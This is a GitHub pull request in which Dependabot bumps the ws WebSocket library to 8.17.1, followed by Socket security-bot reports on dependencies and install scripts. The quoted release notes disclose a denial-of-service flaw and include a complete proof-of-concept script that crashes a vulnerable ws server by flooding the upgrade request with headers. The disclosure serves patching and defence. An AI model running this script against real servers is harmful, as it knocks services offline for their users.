Skip to content

chore(deps-dev): bump ws from 8.11.0 to 8.17.1 in /website #215

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

dependabot[bot]
Copy link
Contributor

@dependabot dependabot bot commented on behalf of github Jun 26, 2024

Bumps ws from 8.11.0 to 8.17.1.

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view

Dependabot compatibility score

You can trigger a rebase of this PR by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot merge will merge this PR after your CI passes on it
  • @dependabot squash and merge will squash and merge this PR after your CI passes on it
  • @dependabot cancel merge will cancel a previously requested merge and block automerging
  • @dependabot reopen will reopen this PR if it is closed
  • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    You can disable automated security fix PRs for this repo from the Security Alerts page.

Note
Automatic rebases have been disabled on this pull request as it has been open for over 30 days.

Bumps [ws](https://github.com/websockets/ws) from 8.11.0 to 8.17.1.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.11.0...8.17.1)

---
updated-dependencies:
- dependency-name: ws
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot bot added the dependencies Pull requests that update a dependency file label Jun 26, 2024
Copy link

New and removed dependencies detected. Learn more about Socket for GitHub ↗︎

Package New capabilities Transitives Size Publisher
npm/@types/node@20.14.8 None 0 2.09 MB types
npm/angular-route@1.8.3 None 0 71.4 kB angular
npm/angular-ui-bootstrap@1.3.2 None 0 1.75 MB wesleycho
npm/angular-ui-date@1.1.1 None 0 7.27 MB alexanderchan
npm/angular-ui-sortable@0.19.0 None +1 1.6 MB thgreasi
npm/angularjs-color-picker@3.4.8 None 0 366 kB ruhley
npm/blueimp-file-upload@9.34.0 Transitive: network +3 335 kB blueimp
npm/ckeditor@4.12.1 None 0 6.77 MB cksource
npm/components-font-awesome@3.2.1 None 0 674 kB ducin
npm/composable-middleware@0.3.1 None 0 12.3 kB randymized
npm/compression@1.7.4 Transitive: environment, filesystem, network +6 333 kB dougwilson
npm/connect-livereload@0.6.1 None 0 13 kB andineck
npm/cookie-parser@1.4.6 None +2 34.1 kB dougwilson
npm/ejs@3.1.10 eval, filesystem Transitive: environment, shell +8 440 kB mde
npm/errorhandler@1.5.1 environment, filesystem +4 259 kB dougwilson
npm/express-session@1.18.0 environment Transitive: eval, filesystem, network +4 192 kB dougwilson
npm/fng-audit@0.12.0-beta.280 Transitive: environment +4 3.86 MB mchapman
npm/fng-bootstrap-date@0.12.0-beta.280 None 0 11.9 kB mchapman
npm/fng-bootstrap-datetime@0.12.0-beta.280 None 0 28.5 kB mchapman
npm/fng-ckeditor@0.12.0-beta.280 None 0 2.62 MB mchapman
npm/fng-colour-picker@0.12.0-beta.280 None 0 4.35 kB mchapman
npm/fng-jq-upload@0.12.0-beta.280 Transitive: filesystem, shell +6 1.7 MB mchapman
npm/fng-reports@0.12.0-beta.280 None +1 5.13 MB mchapman
npm/fng-ui-select@0.12.0-beta.280 None 0 42.7 kB mchapman
npm/forms-angular@0.6.0 Transitive: environment, eval, filesystem, network +29 5.52 MB mchapman
npm/grunt-angular-templates@1.2.0 Transitive: environment, filesystem, network, shell +5 794 kB underscorebrody
npm/grunt-autoprefixer@3.0.4 Transitive: environment, filesystem +12 11.3 MB weiss
npm/grunt-build-control@0.7.1 Transitive: environment, eval +2 952 kB kevinawoo
npm/grunt-concurrent@3.0.0 None +2 14.5 kB sindresorhus
npm/grunt-contrib-clean@2.0.1 None 0 10.2 kB vladikoff
npm/grunt-contrib-concat@2.1.0 None +7 891 kB vladikoff
npm/grunt-contrib-copy@1.0.0 filesystem Transitive: environment +5 42 kB vladikoff
npm/grunt-contrib-cssmin@5.0.0 Transitive: environment, filesystem, network +6 533 kB xhmikosr
npm/grunt-contrib-htmlmin@3.1.0 Transitive: environment, filesystem, network, shell +10 809 kB xhmikosr
npm/grunt-contrib-jshint@3.2.0 Transitive: environment, filesystem, network +24 4.08 MB vladikoff
npm/grunt-contrib-less@3.0.0 Transitive: environment, eval, filesystem +9 3.09 MB vladikoff
npm/grunt-contrib-uglify@5.2.2 Transitive: filesystem +5 68 kB vladikoff
npm/grunt-contrib-watch@1.1.0 Transitive: environment, filesystem +11 767 kB shama
npm/grunt-dom-munger@4.0.0 filesystem Transitive: network +12 1.12 MB cgross
npm/grunt-env@1.0.1 None +1 24.6 kB jsoverson
npm/grunt-filerev@2.3.1 Transitive: filesystem +6 55.5 kB eddiemonge
npm/grunt-injector@1.1.0 None +1 1.42 MB ptitgraig
npm/grunt-karma@4.0.2 shell 0 28.3 kB karmarunnerbot
npm/grunt-mocha-test@0.13.3 Transitive: filesystem +2 75.5 kB pghalliday
npm/grunt-newer@1.3.0 filesystem +1 223 kB tschaub
npm/grunt-nodemon@0.4.2 None 0 10.5 kB chriswren
npm/grunt-rev@0.1.0 None 0 9.48 kB seb
npm/grunt-shell@4.0.0 None +3 50.7 kB sindresorhus
npm/grunt-svgmin@7.0.0 Transitive: filesystem, network, shell, unsafe +18 6.37 MB sindresorhus
npm/grunt-usemin@3.1.1 Transitive: environment, filesystem, network +6 968 kB arthurvr
npm/grunt-wiredep@3.0.1 None 0 5.55 kB eddiemonge
npm/grunt@1.6.1 Transitive: environment, eval, filesystem, shell +51 2.06 MB vladikoff
npm/jit-grunt@0.10.0 filesystem 0 12.9 kB shootaroo
npm/jquery-ui@1.13.3 None 0 19.6 MB mgol
npm/jshint-stylish@2.2.1 None +7 31.4 kB sindresorhus
npm/jspdf-autotable@3.8.2 None 0 253 kB someatoms
npm/karma-requirejs@1.1.0 None 0 6.76 kB dignifiedquire
npm/load-grunt-tasks@5.1.0 None +1 9.7 kB sindresorhus
npm/method-override@2.3.10 Transitive: environment, filesystem, network +3 53.5 kB dougwilson
npm/method-override@3.0.0 Transitive: environment, network +2 74.4 kB dougwilson
npm/minimist@1.2.8 None 0 54.5 kB ljharb

🚮 Removed packages: npm/angular-ui-bootstrap@2.5.6, npm/bower@1.8.14, npm/del@6.1.1, npm/gulp-angular-templatecache@3.0.1, npm/gulp-clean-css@4.3.0, npm/gulp-concat@2.6.1, npm/gulp-less@5.0.0, npm/gulp-mocha@9.0.0, npm/gulp-ng-annotate@2.1.0, npm/gulp-rename@2.0.0, npm/gulp-replace@1.1.4, npm/gulp-typescript@6.0.0-alpha.1, npm/gulp-uglify@3.0.2, npm/gulp-umd@2.0.0, npm/gulp@4.0.2, npm/jasmine-core@5.1.2, npm/karma-firefox-launcher@2.1.3, npm/karma-junit-reporter@2.0.1, npm/matchdep@2.0.0, npm/mongodb@5.9.1, npm/mongoose@7.6.8, npm/morgan@1.10.0, npm/ng-infinite-scroll@1.3.0, npm/node.extend@2.0.3, npm/prettier@3.3.2, npm/protractor@7.0.0, npm/pump@3.0.0, npm/select2@3.5.1, npm/serve-favicon@2.5.0, npm/should@13.2.3, npm/supertest@7.0.0, npm/typescript@4.9.5, npm/webdriver-manager@12.1.9

View full report↗︎

Copy link

🚨 Potential security issues detected. Learn more about Socket for GitHub ↗︎

To accept the risk, merge this PR and you will not be notified again.

Alert Package NoteSourceCI
Install scripts npm/core-js@3.30.2
  • Install script: postinstall
  • Source: node -e "try{require('./postinstall')}catch(e){}"
🚫
Install scripts npm/jpegtran-bin@4.0.0
  • Install script: postinstall
  • Source: node lib/install.js
🚫

View full report↗︎

Next steps

What is an install script?

Install scripts are run when the package is installed. The majority of malware in npm is hidden in install scripts.

Packages should not be running non-essential scripts during install and there are often solutions to problems people solve with install scripts that can be run at publish time instead.

Take a deeper look at the dependency

Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support [AT] socket [DOT] dev.

Remove the package

If you happen to install a dependency that Socket reports as Known Malware you should immediately remove it and select a different dependency. For other alert types, you may may wish to investigate alternative packages or consider if there are other ways to mitigate the specific risk posed by the dependency.

Mark a package as acceptable risk

To ignore an alert, reply with a comment starting with @SocketSecurity ignore followed by a space separated list of ecosystem/package-name@version specifiers. e.g. @SocketSecurity ignore npm/foo@1.0.0 or ignore all packages with @SocketSecurity ignore-all

  • @SocketSecurity ignore npm/core-js@3.30.2
  • @SocketSecurity ignore npm/jpegtran-bin@4.0.0

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants